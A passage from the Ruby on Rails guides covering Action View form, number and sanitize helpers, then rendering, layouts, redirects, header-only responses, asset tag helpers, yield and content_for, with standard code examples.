has_many :countries
# attribs: id, name
end

class Country < ApplicationRecord
belongs_to :continent
# attribs: id, name, continent_id
end

Sample usage:

option_groups_from_collection_for_select(@continents, :countries, :name, :id, :name, 3)

Possible output:

<optgroup label="Africa">
<option value="1">Egypt</option>
<option value="4">Rwanda</option>
...
</optgroup>
<optgroup label="Asia">
<option value="3" selected="selected">China</option>
<option value="12">India</option>
<option value="5">Japan</option>
...
</optgroup>

Note: Only the optgroup and option tags are returned, so you still have to wrap the output in an appropriate select tag.

6.9.5 options_for_select

Accepts a container (hash, array, enumerable, your type) and returns a string of option tags.

options_for_select([ "VISA", "MasterCard" ])
# => <option>VISA</option> <option>MasterCard</option>

Note: Only the option tags are returned, you have to wrap this call in a regular HTML select tag.

6.9.6 options_from_collection_for_select

Returns a string of option tags that have been compiled by iterating over the collection and assigning the result of a call to the value_method as the option value and the text_method as the option text.

# options_from_collection_for_select(collection, value_method, text_method, selected = nil)

For example, imagine a loop iterating over each person in @project.people to generate an input tag:

options_from_collection_for_select(@project.people, "id", "name")
# => <option value="#{person.id}">#{person.name}</option>

Note: Only the option tags are returned, you have to wrap this call in a regular HTML select tag.

6.9.7 select

Create a select tag and a series of contained option tags for the provided object and method.

Example:

select("article", "person_id", Person.all.collect { |p| [ p.name, p.id ] }, { include_blank: true })

If @article.person_id is 1, this would become:

<select name="article[person_id]">
<option value=""></option>
<option value="1" selected="selected">David</option>
<option value="2">Eileen</option>
<option value="3">Rafael</option>
</select>

6.9.8 time_zone_options_for_select

Returns a string of option tags for pretty much any time zone in the world.

6.9.9 time_zone_select

Returns select and option tags for the given object and method, using time_zone_options_for_select to generate the list of option tags.

time_zone_select( "user", "time_zone")

6.9.10 date_field

Returns an input tag of the "date" type tailored for accessing a specified attribute.

date_field("user", "dob")

6.10 FormTagHelper

Provides a number of methods for creating form tags that don't rely on an Active Record object assigned to the template like FormHelper does. Instead, you provide the names and values manually.

6.10.1 check_box_tag

Creates a check box form input tag.

check_box_tag 'accept'
# => <input id="accept" name="accept" type="checkbox" value="1" />

6.10.2 field_set_tag

Creates a field set for grouping HTML form elements.

<%= field_set_tag do %>
<p><%= text_field_tag 'name' %></p>
<% end %>
# => <fieldset><p><input id="name" name="name" type="text" /></p></fieldset>

6.10.3 file_field_tag

Creates a file upload field.

<%= form_tag({ action: "post" }, multipart: true) do %>
<label for="file">File to Upload</label> <%= file_field_tag "file" %>
<%= submit_tag %>
<% end %>

Example output:

file_field_tag 'attachment'
# => <input id="attachment" name="attachment" type="file" />

6.10.4 form_tag

Starts a form tag that points the action to a URL configured with url_for_options just like ActionController::Base#url_for.

<%= form_tag '/articles' do %>
<div><%= submit_tag 'Save' %></div>
<% end %>
# => <form action="/articles" method="post"><div><input type="submit" name="submit" value="Save" /></div></form>

6.10.5 hidden_field_tag

Creates a hidden form input field used to transmit data that would be lost due to HTTP's statelessness or data that should be hidden from the user.

hidden_field_tag 'token', 'VUBJKB23UIVI1UU1VOBVI@'
# => <input id="token" name="token" type="hidden" value="VUBJKB23UIVI1UU1VOBVI@" />

6.10.6 image_submit_tag

Displays an image which when clicked will submit the form.

image_submit_tag("login.png")
# => <input src="/images/login.png" type="image" />

6.10.7 label_tag

Creates a label field.

label_tag 'name'
# => <label for="name">Name</label>

6.10.8 password_field_tag

Creates a password field, a masked text field that will hide the users input behind a mask character.

password_field_tag 'pass'
# => <input id="pass" name="pass" type="password" />

6.10.9 radio_button_tag

Creates a radio button; use groups of radio buttons named the same to allow users to select from a group of options.

radio_button_tag 'gender', 'male'
# => <input id="gender_male" name="gender" type="radio" value="male" />

6.10.10 select_tag

Creates a dropdown selection box.

select_tag "people", "<option>David</option>"
# => <select id="people" name="people"><option>David</option></select>

6.10.11 submit_tag

Creates a submit button with the text provided as the caption.

submit_tag "Publish this article"
# => <input name="commit" type="submit" value="Publish this article" />

6.10.12 text_area_tag

Creates a text input area; use a textarea for longer text inputs such as blog posts or descriptions.

text_area_tag 'article'
# => <textarea id="article" name="article"></textarea>

6.10.13 text_field_tag

Creates a standard text field; use these text fields to input smaller chunks of text like a username or a search query.

text_field_tag 'name'
# => <input id="name" name="name" type="text" />

6.10.14 email_field_tag

Creates a standard input field of email type.

email_field_tag 'email'
# => <input id="email" name="email" type="email" />

6.10.15 url_field_tag

Creates a standard input field of url type.

url_field_tag 'url'
# => <input id="url" name="url" type="url" />

6.10.16 date_field_tag

Creates a standard input field of date type.

date_field_tag "dob"
# => <input id="dob" name="dob" type="date" />

6.11 JavaScriptHelper

Provides functionality for working with JavaScript in your views.

6.11.1 escape_javascript

Escape carrier returns and single and double quotes for JavaScript segments.

6.11.2 javascript_tag

Returns a JavaScript tag wrapping the provided code.

javascript_tag "alert('All is good')"

<script>
//<![CDATA[
alert('All is good')
//]]>
</script>

6.12 NumberHelper

Provides methods for converting numbers into formatted strings. Methods are provided for phone numbers, currency, percentage, precision, positional notation, and file size.

6.12.1 number_to_currency

Formats a number into a currency string (e.g., $13.65).

number_to_currency(1234567890.50) # => $1,234,567,890.50

6.12.2 number_to_human_size

Formats the bytes in size into a more understandable representation; useful for reporting file sizes to users.

number_to_human_size(1234)          # => 1.2 KB
number_to_human_size(1234567)       # => 1.2 MB

6.12.3 number_to_percentage

Formats a number as a percentage string.

number_to_percentage(100, precision: 0)        # => 100%

6.12.4 number_to_phone

Formats a number into a phone number (US by default).

number_to_phone(1235551234) # => 123-555-1234

6.12.5 number_with_delimiter

Formats a number with grouped thousands using a delimiter.

number_with_delimiter(12345678) # => 12,345,678

6.12.6 number_with_precision

Formats a number with the specified level of precision, which defaults to 3.

number_with_precision(111.2345)     # => 111.235
number_with_precision(111.2345, 2)  # => 111.23

6.13 SanitizeHelper

The SanitizeHelper module provides a set of methods for scrubbing text of undesired HTML elements.

6.13.1 sanitize

This sanitize helper will HTML encode all tags and strip all attributes that aren't specifically allowed.

sanitize @article.body

If either the :attributes or :tags options are passed, only the mentioned attributes and tags are allowed and nothing else.

sanitize @article.body, tags: %w(table tr td), attributes: %w(id class style)

To change defaults for multiple uses, for example adding table tags to the default:

class Application < Rails::Application
config.action_view.sanitized_allowed_tags = 'table', 'tr', 'td'
end

6.13.2 sanitize_css(style)

Sanitizes a block of CSS code.

6.13.3 strip_links(html)

Strips all link tags from text leaving just the link text.

strip_links('<a href="http://rubyonrails.org">Ruby on Rails</a>')
# => Ruby on Rails

strip_links('emails to <a href="mailto:me@email.com">me@email.com</a>.')
# => emails to me@email.com.

strip_links('Blog: <a href="http://myblog.com/">Visit</a>.')
# => Blog: Visit.

6.13.4 strip_tags(html)

Strips all HTML tags from the html, including comments. This uses the html-scanner tokenizer and so its HTML parsing ability is limited by that of html-scanner.

strip_tags("Strip <i>these</i> tags!")
# => Strip these tags!

strip_tags("<b>Bold</b> no more!  <a href='more.html'>See more</a>")
# => Bold no more!  See more

NB: The output may still contain unescaped '<', '>', '&' characters and confuse browsers.

6.14 CsrfHelper

Returns meta tags "csrf-param" and "csrf-token" with the name of the cross-site request forgery protection parameter and token, respectively.

<%= csrf_meta_tags %>

Regular forms generate hidden fields so they do not use these tags. More details can be found in the Rails Security Guide.

7 Localized Views

Action View has the ability to render different templates depending on the current locale.

For example, suppose you have an ArticlesController with a show action. By default, calling this action will render app/views/articles/show.html.erb. But if you set I18n.locale = :de, then app/views/articles/show.de.html.erb will be rendered instead. If the localized template isn't present, the undecorated version will be used. This means you're not required to provide localized views for all cases, but they will be preferred and used if available.

You can use the same technique to localize the rescue files in your public directory. For example, setting I18n.locale = :de and creating public/500.de.html and public/404.de.html would allow you to have localized rescue pages.

Since Rails doesn't restrict the symbols that you use to set I18n.locale, you can leverage this system to display different content depending on anything you like. For example, suppose you have some "expert" users that should see different pages from "normal" users. You could add the following to app/controllers/application.rb:

before_action :set_expert_locale

def set_expert_locale
I18n.locale = :expert if current_user.expert?
end

Then you could create special views like app/views/articles/show.expert.html.erb that would only be displayed to expert users.

You can read more about the Rails Internationalization (I18n) API here.

Layouts and Rendering in Rails — Ruby...

1 Overview: How the Pieces Fit Together

This guide focuses on the interaction between Controller and View in the Model-View-Controller triangle. As you know, the Controller is responsible for orchestrating the whole process of handling a request in Rails, though it normally hands off any heavy code to the Model. But then, when it's time to send a response back to the user, the Controller hands things off to the View. It's that handoff that is the subject of this guide.

In broad strokes, this involves deciding what should be sent as the response and calling an appropriate method to create that response. If the response is a full-blown view, Rails also does some extra work to wrap the view in a layout and possibly to pull in partial views. You'll see all of those paths later in this guide.

2 Creating Responses

From the controller's point of view, there are three ways to create an HTTP response:

- Call render to create a full response to send back to the browser

- Call redirect_to to send an HTTP redirect status code to the browser

- Call head to create a response consisting solely of HTTP headers to send back to the browser

2.1 Rendering by Default: Convention Over Configuration in Action

You've heard that Rails promotes "convention over configuration". Default rendering is an excellent example of this. By default, controllers in Rails automatically render views with names that correspond to valid routes. For example, if you have this code in your BooksController class:

class BooksController < ApplicationController
end

And the following in your routes file:

resources :books

And you have a view file app/views/books/index.html.erb:

<h1>Books are coming soon!</h1>

Rails will automatically render app/views/books/index.html.erb when you navigate to /books and you will see "Books are coming soon!" on your screen.

However a coming soon screen is only minimally useful, so you will soon create your Book model and add the index action to BooksController:

class BooksController < ApplicationController
def index
@books = Book.all
end
end

Note that we don't have explicit render at the end of the index action in accordance with "convention over configuration" principle. The rule is that if you do not explicitly render something at the end of a controller action, Rails will automatically look for the action_name.html.erb template in the controller's view path and render it. So in this case, Rails will render the app/views/books/index.html.erb file.

If we want to display the properties of all the books in our view, we can do so with an ERB template like this:

<h1>Listing Books</h1>

<table>
<tr>
<th>Title</th>
<th>Summary</th>
<th></th>
<th></th>
<th></th>
</tr>

<% @books.each do |book| %>
<tr>
<td><%= book.title %></td>
<td><%= book.content %></td>
<td><%= link_to "Show", book %></td>
<td><%= link_to "Edit", edit_book_path(book) %></td>
<td><%= link_to "Remove", book, method: :delete, data: { confirm: "Are you sure?" } %></td>
</tr>
<% end %>
</table>

<br>

<%= link_to "New book", new_book_path %>

The actual rendering is done by subclasses of ActionView::TemplateHandlers. This guide does not dig into that process, but it's important to know that the file extension on your view controls the choice of template handler. Beginning with Rails 2, the standard extensions are .erb for ERB (HTML with embedded Ruby), and .builder for Builder (XML generator).

2.2 Using render

In most cases, the ActionController::Base#render method does the heavy lifting of rendering your application's content for use by a browser. There are a variety of ways to customize the behavior of render. You can render the default view for a Rails template, or a specific template, or a file, or inline code, or nothing at all. You can render text, JSON, or XML. You can specify the content type or HTTP status of the rendered response as well.

If you want to see the exact results of a call to render without needing to inspect it in a browser, you can call render_to_string. This method takes exactly the same options as render, but it returns a string instead of sending a response back to the browser.

2.2.1 Rendering an Action's View

If you want to render the view that corresponds to a different template within the same controller, you can use render with the name of the view:

def update
@book = Book.find(params[:id])
if @book.update(book_params)
redirect_to(@book)
else
render "edit"
end
end

If the call to update fails, calling the update action in this controller will render the edit.html.erb template belonging to the same controller.

If you prefer, you can use a symbol instead of a string to specify the action to render:

def update
@book = Book.find(params[:id])
if @book.update(book_params)
redirect_to(@book)
else
render :edit
end
end

2.2.2 Rendering an Action's Template from Another Controller

What if you want to render a template from an entirely different controller from the one that contains the action code? You can also do that with render, which accepts the full path (relative to app/views) of the template to render. For example, if you're running code in an AdminProductsController that lives in app/controllers/admin, you can render the results of an action to a template in app/views/products this way:

render "products/show"

Rails knows that this view belongs to a different controller because of the embedded slash character in the string. If you want to be explicit, you can use the :template option (which was required on Rails 2.2 and earlier):

render template: "products/show"

2.2.3 Rendering an Arbitrary File

The render method can also use a view that's entirely outside of your application:

render file: "/u/apps/warehouse_app/current/app/views/products/show"

The :file option takes an absolute file-system path. Of course, you need to have rights to the view that you're using to render the content.

Using the :file option in combination with users input can lead to security problems since an attacker could use this action to access security sensitive files in your file system.

By default, the file is rendered using the current layout.

If you're running Rails on Microsoft Windows, you should use the :file option to render a file, because Windows filenames do not have the same format as Unix filenames.

2.2.4 Wrapping it up

The above three ways of rendering (rendering another template within the controller, rendering a template within another controller and rendering an arbitrary file on the file system) are actually variants of the same action.

In fact, in the BooksController class, inside of the update action where we want to render the edit template if the book does not update successfully, all of the following render calls would all render the edit.html.erb template in the views/books directory:

render :edit
render action: :edit
render "edit"
render "edit.html.erb"
render action: "edit"
render action: "edit.html.erb"
render "books/edit"
render "books/edit.html.erb"
render template: "books/edit"
render template: "books/edit.html.erb"
render "/path/to/rails/app/views/books/edit"
render "/path/to/rails/app/views/books/edit.html.erb"
render file: "/path/to/rails/app/views/books/edit"
render file: "/path/to/rails/app/views/books/edit.html.erb"

Which one you use is really a matter of style and convention, but the rule of thumb is to use the simplest one that makes sense for the code you are writing.

2.2.5 Using render with :inline

The render method can do without a view completely, if you're willing to use the :inline option to supply ERB as part of the method call. This is perfectly valid:

render inline: "<% products.each do |p| %><p><%= p.name %></p><% end %>"

There is seldom any good reason to use this option. Mixing ERB into your controllers defeats the MVC orientation of Rails and will make it harder for other developers to follow the logic of your project. Use a separate erb view instead.

By default, inline rendering uses ERB. You can force it to use Builder instead with the :type option:

render inline: "xml.p {'Horrid coding practice!'}", type: :builder

2.2.6 Rendering Text

You can send plain text - with no markup at all - back to the browser by using the :plain option to render:

render plain: "OK"

Rendering pure text is most useful when you're responding to Ajax or web service requests that are expecting something other than proper HTML.

By default, if you use the :plain option, the text is rendered without using the current layout. If you want Rails to put the text into the current layout, you need to add the layout: true option and use the .txt.erb extension for the layout file.

2.2.7 Rendering HTML

You can send an HTML string back to the browser by using the :html option to render:

render html: "<strong>Not Found</strong>".html_safe

This is useful when you're rendering a small snippet of HTML code. However, you might want to consider moving it to a template file if the markup is complex.

When using html: option, HTML entities will be escaped if the string is not marked as HTML safe by using html_safe method.

2.2.8 Rendering JSON

JSON is a JavaScript data format used by many Ajax libraries. Rails has built-in support for converting objects to JSON and rendering that JSON back to the browser:

render json: @product

You don't need to call to_json on the object that you want to render. If you use the :json option, render will automatically call to_json for you.

2.2.9 Rendering XML

Rails also has built-in support for converting objects to XML and rendering that XML back to the caller:

render xml: @product

You don't need to call to_xml on the object that you want to render. If you use the :xml option, render will automatically call to_xml for you.

2.2.10 Rendering Vanilla JavaScript

Rails can render vanilla JavaScript:

render js: "alert('Hello Rails');"

This will send the supplied string to the browser with a MIME type of text/javascript.

2.2.11 Rendering raw body

You can send a raw content back to the browser, without setting any content type, by using the :body option to render:

render body: "raw"

This option should be used only if you don't care about the content type of the response. Using :plain or :html might be more appropriate most of the time.

Unless overridden, your response returned from this render option will be text/html, as that is the default content type of Action Dispatch response.

2.2.12 Options for render

Calls to the render method generally accept five options:

- :content_type

- :layout

- :location

- :status

- :formats

2.2.12.1 The :content_type Option

By default, Rails will serve the results of a rendering operation with the MIME content-type of text/html (or application/json if you use the :json option, or application/xml for the :xml option.). There are times when you might like to change this, and you can do so by setting the :content_type option:

render file: filename, content_type: "application/rss"

2.2.12.2 The :layout Option

With most of the options to render, the rendered content is displayed as part of the current layout. You'll learn more about layouts and how to use them later in this guide.

You can use the :layout option to tell Rails to use a specific file as the layout for the current action:

render layout: "special_layout"

You can also tell Rails to render with no layout at all:

render layout: false

2.2.12.3 The :location Option

You can use the :location option to set the HTTP Location header:

render xml: photo, location: photo_url(photo)

2.2.12.4 The :status Option

Rails will automatically generate a response with the correct HTTP status code (in most cases, this is 200 OK). You can use the :status option to change this:

render status: 500
render status: :forbidden

Rails understands both numeric status codes and the corresponding symbols shown below.

Response Class

HTTP Status Code

Symbol

Informational

100

:continue

101

:switching_protocols

102

:processing

Success

200

:ok

201

:created

202

:accepted

203

:non_authoritative_information

204

:no_content

205

:reset_content

206

:partial_content

207

:multi_status

208

:already_reported

226

:im_used

Redirection

300

:multiple_choices

301

:moved_permanently

302

:found

303

:see_other

304

:not_modified

305

:use_proxy

307

:temporary_redirect

308

:permanent_redirect

Client Error

400

:bad_request

401

:unauthorized

402

:payment_required

403

:forbidden

404

:not_found

405

:method_not_allowed

406

:not_acceptable

407

:proxy_authentication_required

408

:request_timeout

409

:conflict

410

:gone

411

:length_required

412

:precondition_failed

413

:payload_too_large

414

:uri_too_long

415

:unsupported_media_type

416

:range_not_satisfiable

417

:expectation_failed

422

:unprocessable_entity

423

:locked

424

:failed_dependency

426

:upgrade_required

428

:precondition_required

429

:too_many_requests

431

:request_header_fields_too_large

Server Error

500

:internal_server_error

501

:not_implemented

502

:bad_gateway

503

:service_unavailable

504

:gateway_timeout

505

:http_version_not_supported

506

:variant_also_negotiates

507

:insufficient_storage

508

:loop_detected

510

:not_extended

511

:network_authentication_required

If you try to render content along with a non-content status code (100-199, 204, 205 or 304), it will be dropped from the response.

2.2.12.5 The :formats Option

Rails uses the format specified in the request (or :html by default). You can change this passing the :formats option with a symbol or an array:

render formats: :xml
render formats: [:json, :xml]

2.2.13 Finding Layouts

To find the current layout, Rails first looks for a file in app/views/layouts with the same base name as the controller. For example, rendering actions from the PhotosController class will use app/views/layouts/photos.html.erb (or app/views/layouts/photos.builder). If there is no such controller-specific layout, Rails will use app/views/layouts/application.html.erb or app/views/layouts/application.builder. If there is no .erb layout, Rails will use a .builder layout if one exists. Rails also provides several ways to more precisely assign specific layouts to individual controllers and actions.

2.2.13.1 Specifying Layouts for Controllers

You can override the default layout conventions in your controllers by using the layout declaration. For example:

class ProductsController < ApplicationController
layout "inventory"
#...
end

With this declaration, all of the views rendered by the ProductsController will use app/views/layouts/inventory.html.erb as their layout.

To assign a specific layout for the entire application, use a layout declaration in your ApplicationController class:

class ApplicationController < ActionController::Base
layout "main"
#...
end

With this declaration, all of the views in the entire application will use app/views/layouts/main.html.erb for their layout.

2.2.13.2 Choosing Layouts at Runtime

You can use a symbol to defer the choice of layout until a request is processed:

class ProductsController < ApplicationController
layout :products_layout

def show
@product = Product.find(params[:id])
end

private
def products_layout
@current_user.special? ? "special" : "products"
end

end

Now, if the current user is a special user, they'll get a special layout when viewing a product.

You can even use an inline method, such as a Proc, to determine the layout. For example, if you pass a Proc object, the block you give the Proc will be given the controller instance, so the layout can be determined based on the current request:

class ProductsController < ApplicationController
layout Proc.new { |controller| controller.request.xhr? ? "popup" : "application" }
end

2.2.13.3 Conditional Layouts

Layouts specified at the controller level support the :only and :except options. These options take either a method name, or an array of method names, corresponding to method names within the controller:

class ProductsController < ApplicationController
layout "product", except: [:index, :rss]
end

With this declaration, the product layout would be used for everything but the rss and index methods.

2.2.13.4 Layout Inheritance

Layout declarations cascade downward in the hierarchy, and more specific layout declarations always override more general ones. For example:

- application_controller.rb

class ApplicationController < ActionController::Base
layout "main"
end

- articles_controller.rb

class ArticlesController < ApplicationController
end

- special_articles_controller.rb

class SpecialArticlesController < ArticlesController
layout "special"
end

- old_articles_controller.rb

class OldArticlesController < SpecialArticlesController
layout false

def show
@article = Article.find(params[:id])
end

def index
@old_articles = Article.older
render layout: "old"
end
# ...
end

In this application:

- In general, views will be rendered in the main layout

- ArticlesController#index will use the main layout

- SpecialArticlesController#index will use the special layout

- OldArticlesController#show will use no layout at all

- OldArticlesController#index will use the old layout

2.2.13.5 Template Inheritance

Similar to the Layout Inheritance logic, if a template or partial is not found in the conventional path, the controller will look for a template or partial to render in its inheritance chain. For example:

# in app/controllers/application_controller
class ApplicationController < ActionController::Base
end

# in app/controllers/admin_controller
class AdminController < ApplicationController
end

# in app/controllers/admin/products_controller
class Admin::ProductsController < AdminController
def index
end
end

The lookup order for an admin/products#index action will be:

- app/views/admin/products/

- app/views/admin/

- app/views/application/

This makes app/views/application/ a great place for your shared partials, which can then be rendered in your ERB as such:

<%# app/views/admin/products/index.html.erb %>
<%= render @products || "empty_list" %>

<%# app/views/application/_empty_list.html.erb %>
There are no items in this list <em>yet</em>.

2.2.14 Avoiding Double Render Errors

Sooner or later, most Rails developers will see the error message "Can only render or redirect once per action". While this is annoying, it's relatively easy to fix. Usually it happens because of a fundamental misunderstanding of the way that render works.

For example, here's some code that will trigger this error:

def show
@book = Book.find(params[:id])
if @book.special?
render action: "special_show"
end
render action: "regular_show"
end

If @book.special? evaluates to true, Rails will start the rendering process to dump the @book variable into the special_show view. But this will not stop the rest of the code in the show action from running, and when Rails hits the end of the action, it will start to render the regular_show view - and throw an error. The solution is simple: make sure that you have only one call to render or redirect in a single code path. One thing that can help is and return. Here's a patched version of the method:

def show
@book = Book.find(params[:id])
if @book.special?
render action: "special_show" and return
end
render action: "regular_show"
end

Make sure to use and return instead of && return because && return will not work due to the operator precedence in the Ruby Language.

Note that the implicit render done by ActionController detects if render has been called, so the following will work without errors:

def show
@book = Book.find(params[:id])
if @book.special?
render action: "special_show"
end
end

This will render a book with special? set with the special_show template, while other books will render with the default show template.

2.3 Using redirect_to

Another way to handle returning responses to an HTTP request is with redirect_to. As you've seen, render tells Rails which view (or other asset) to use in constructing a response. The redirect_to method does something completely different: it tells the browser to send a new request for a different URL. For example, you could redirect from wherever you are in your code to the index of photos in your application with this call:

redirect_to photos_url

You can use redirect_back to return the user to the page they just came from. This location is pulled from the HTTP_REFERER header which is not guaranteed to be set by the browser, so you must provide the fallback_location to use in this case.

redirect_back(fallback_location: root_path)

2.3.1 Getting a Different Redirect Status Code

Rails uses HTTP status code 302, a temporary redirect, when you call redirect_to. If you'd like to use a different status code, perhaps 301, a permanent redirect, you can use the :status option:

redirect_to photos_path, status: 301

Just like the :status option for render, :status for redirect_to accepts both numeric and symbolic header designations.

2.3.2 The Difference Between render and redirect_to

Sometimes inexperienced developers think of redirect_to as a sort of goto command, moving execution from one place to another in your Rails code. This is not correct. Your code stops running and waits for a new request for the browser. It just happens that you've told the browser what request it should make next, by sending back an HTTP 302 status code.

Consider these actions to see the difference:

def index
@books = Book.all
end

def show
@book = Book.find_by(id: params[:id])
if @book.nil?
render action: "index"
end
end

With the code in this form, there will likely be a problem if the @book variable is nil. Remember, a render :action doesn't run any code in the target action, so nothing will set up the @books variable that the index view will probably require. One way to fix this is to redirect instead of rendering:

def index
@books = Book.all
end

def show
@book = Book.find_by(id: params[:id])
if @book.nil?
redirect_to action: :index
end
end

With this code, the browser will make a fresh request for the index page, the code in the index method will run, and all will be well.

The only downside to this code is that it requires a round trip to the browser: the browser requested the show action with /books/1 and the controller finds that there are no books, so the controller sends out a 302 redirect response to the browser telling it to go to /books/, the browser complies and sends a new request back to the controller asking now for the index action, the controller then gets all the books in the database and renders the index template, sending it back down to the browser which then shows it on your screen.

While in a small application, this added latency might not be a problem, it is something to think about if response time is a concern. We can demonstrate one way to handle this with a contrived example:

def index
@books = Book.all
end

def show
@book = Book.find_by(id: params[:id])
if @book.nil?
@books = Book.all
flash.now[:alert] = "Your book was not found"
render "index"
end
end

This would detect that there are no books with the specified ID, populate the @books instance variable with all the books in the model, and then directly render the index.html.erb template, returning it to the browser with a flash alert message to tell the user what happened.

2.4 Using head To Build Header-Only Responses

The head method can be used to send responses with only headers to the browser. The head method accepts a number or symbol (see reference table) representing an HTTP status code. The options argument is interpreted as a hash of header names and values. For example, you can return only an error header:

head :bad_request

This would produce the following header:

HTTP/1.1 400 Bad Request
Connection: close
Date: Sun, 24 Jan 2010 12:15:53 GMT
Transfer-Encoding: chunked
Content-Type: text/html; charset=utf-8
X-Runtime: 0.013483
Set-Cookie: _blog_session=...snip...; path=/; HttpOnly
Cache-Control: no-cache

Or you can use other HTTP headers to convey other information:

head :created, location: photo_path(@photo)

Which would produce:

HTTP/1.1 201 Created
Connection: close
Date: Sun, 24 Jan 2010 12:16:44 GMT
Transfer-Encoding: chunked
Location: /photos/1
Content-Type: text/html; charset=utf-8
X-Runtime: 0.083496
Set-Cookie: _blog_session=...snip...; path=/; HttpOnly
Cache-Control: no-cache

3 Structuring Layouts

When Rails renders a view as a response, it does so by combining the view with the current layout, using the rules for finding the current layout that were covered earlier in this guide. Within a layout, you have access to three tools for combining different bits of output to form the overall response:

- Asset tags

- yield and content_for

- Partials

3.1 Asset Tag Helpers

Asset tag helpers provide methods for generating HTML that link views to feeds, JavaScript, stylesheets, images, videos and audios. There are six asset tag helpers available in Rails:

- auto_discovery_link_tag

- javascript_include_tag

- stylesheet_link_tag

- image_tag

- video_tag

- audio_tag

You can use these tags in layouts or other views, although the auto_discovery_link_tag, javascript_include_tag, and stylesheet_link_tag, are most commonly used in the <head> section of a layout.

The asset tag helpers do not verify the existence of the assets at the specified locations; they simply assume that you know what you're doing and generate the link.

3.1.1 Linking to Feeds with the auto_discovery_link_tag

The auto_discovery_link_tag helper builds HTML that most browsers and feed readers can use to detect the presence of RSS or Atom feeds. It takes the type of the link (:rss or :atom), a hash of options that are passed through to url_for, and a hash of options for the tag:

<%= auto_discovery_link_tag(:rss, {action: "feed"},
{title: "RSS Feed"}) %>

There are three tag options available for the auto_discovery_link_tag:

- :rel specifies the rel value in the link. The default value is "alternate".

- :type specifies an explicit MIME type. Rails will generate an appropriate MIME type automatically.

- :title specifies the title of the link. The default value is the uppercase :type value, for example, "ATOM" or "RSS".

3.1.2 Linking to JavaScript Files with the javascript_include_tag

The javascript_include_tag helper returns an HTML script tag for each source provided.

If you are using Rails with the Asset Pipeline enabled, this helper will generate a link to /assets/javascripts/ rather than public/javascripts which was used in earlier versions of Rails. This link is then served by the asset pipeline.

A JavaScript file within a Rails application or Rails engine goes in one of three locations: app/assets, lib/assets or vendor/assets. These locations are explained in detail in the Asset Organization section in the Asset Pipeline Guide.

You can specify a full path relative to the document root, or a URL, if you prefer. For example, to link to a JavaScript file that is inside a directory called javascripts inside of one of app/assets, lib/assets or vendor/assets, you would do this:

<%= javascript_include_tag "main" %>

Rails will then output a script tag such as this:

<script src='/assets/main.js'></script>

The request to this asset is then served by the Sprockets gem.

To include multiple files such as app/assets/javascripts/main.js and app/assets/javascripts/columns.js at the same time:

<%= javascript_include_tag "main", "columns" %>

To include app/assets/javascripts/main.js and app/assets/javascripts/photos/columns.js:

<%= javascript_include_tag "main", "/photos/columns" %>

To include http://example.com/main.js:

<%= javascript_include_tag "http://example.com/main.js" %>

3.1.3 Linking to CSS Files with the stylesheet_link_tag

The stylesheet_link_tag helper returns an HTML <link> tag for each source provided.

If you are using Rails with the "Asset Pipeline" enabled, this helper will generate a link to /assets/stylesheets/. This link is then processed by the Sprockets gem. A stylesheet file can be stored in one of three locations: app/assets, lib/assets or vendor/assets.

You can specify a full path relative to the document root, or a URL. For example, to link to a stylesheet file that is inside a directory called stylesheets inside of one of app/assets, lib/assets or vendor/assets, you would do this:

<%= stylesheet_link_tag "main" %>

To include app/assets/stylesheets/main.css and app/assets/stylesheets/columns.css:

<%= stylesheet_link_tag "main", "columns" %>

To include app/assets/stylesheets/main.css and app/assets/stylesheets/photos/columns.css:

<%= stylesheet_link_tag "main", "photos/columns" %>

To include http://example.com/main.css:

<%= stylesheet_link_tag "http://example.com/main.css" %>

By default, the stylesheet_link_tag creates links with media="screen" rel="stylesheet". You can override any of these defaults by specifying an appropriate option (:media, :rel):

<%= stylesheet_link_tag "main_print", media: "print" %>

3.1.4 Linking to Images with the image_tag

The image_tag helper builds an HTML <img /> tag to the specified file. By default, files are loaded from public/images.

Note that you must specify the extension of the image.

<%= image_tag "header.png" %>

You can supply a path to the image if you like:

<%= image_tag "icons/delete.gif" %>

You can supply a hash of additional HTML options:

<%= image_tag "icons/delete.gif", {height: 45} %>

You can supply alternate text for the image which will be used if the user has images turned off in their browser. If you do not specify an alt text explicitly, it defaults to the file name of the file, capitalized and with no extension. For example, these two image tags would return the same code:

<%= image_tag "home.gif" %>
<%= image_tag "home.gif", alt: "Home" %>

You can also specify a special size tag, in the format "{width}x{height}":

<%= image_tag "home.gif", size: "50x20" %>

In addition to the above special tags, you can supply a final hash of standard HTML options, such as :class, :id or :name:

<%= image_tag "home.gif", alt: "Go Home",
id: "HomeImage",
class: "nav_bar" %>

3.1.5 Linking to Videos with the video_tag

The video_tag helper builds an HTML 5 <video> tag to the specified file. By default, files are loaded from public/videos.

<%= video_tag "movie.ogg" %>

Produces

<video src="/videos/movie.ogg" />

Like an image_tag you can supply a path, either absolute, or relative to the public/videos directory. Additionally you can specify the size: "#{width}x#{height}" option just like an image_tag. Video tags can also have any of the HTML options specified at the end (id, class et al).

The video tag also supports all of the <video> HTML options through the HTML options hash, including:

- poster: "image_name.png", provides an image to put in place of the video before it starts playing.

- autoplay: true, starts playing the video on page load.

- loop: true, loops the video once it gets to the end.

- controls: true, provides browser supplied controls for the user to interact with the video.

- autobuffer: true, the video will pre load the file for the user on page load.

You can also specify multiple videos to play by passing an array of videos to the video_tag:

<%= video_tag ["trailer.ogg", "movie.ogg"] %>

This will produce:

<video>
<source src="/videos/trailer.ogg">
<source src="/videos/movie.ogg">
</video>

3.1.6 Linking to Audio Files with the audio_tag

The audio_tag helper builds an HTML 5 <audio> tag to the specified file. By default, files are loaded from public/audios.

<%= audio_tag "music.mp3" %>

You can supply a path to the audio file if you like:

<%= audio_tag "music/first_song.mp3" %>

You can also supply a hash of additional options, such as :id, :class etc.

Like the video_tag, the audio_tag has special options:

- autoplay: true, starts playing the audio on page load

- controls: true, provides browser supplied controls for the user to interact with the audio.

- autobuffer: true, the audio will pre load the file for the user on page load.

3.2 Understanding yield

Within the context of a layout, yield identifies a section where content from the view should be inserted. The simplest way to use this is to have a single yield, into which the entire contents of the view currently being rendered is inserted:

<html>
<head>
</head>
<body>
<%= yield %>
</body>
</html>

You can also create a layout with multiple yielding regions:

<html>
<head>
<%= yield :head %>
</head>
<body>
<%= yield %>
</body>
</html>

The main body of the view will always render into the unnamed yield. To render content into a named yield, you use the content_for method.

3.3 Using the content_for Method

The content_for method allows you to insert content into a named yield block in your layout. For example, this view would work with the layout that you just saw:

<% content_for :head do %>
<title>A simple page</title>
<% end %>

<p>Hello, Rails!</p>

The result of rendering this page into the supplied layout would be this HTML:

<html>
<head>
<title>A simple page</title>
</head>
<body>
<p>Hello, Rails!</p>
</body>
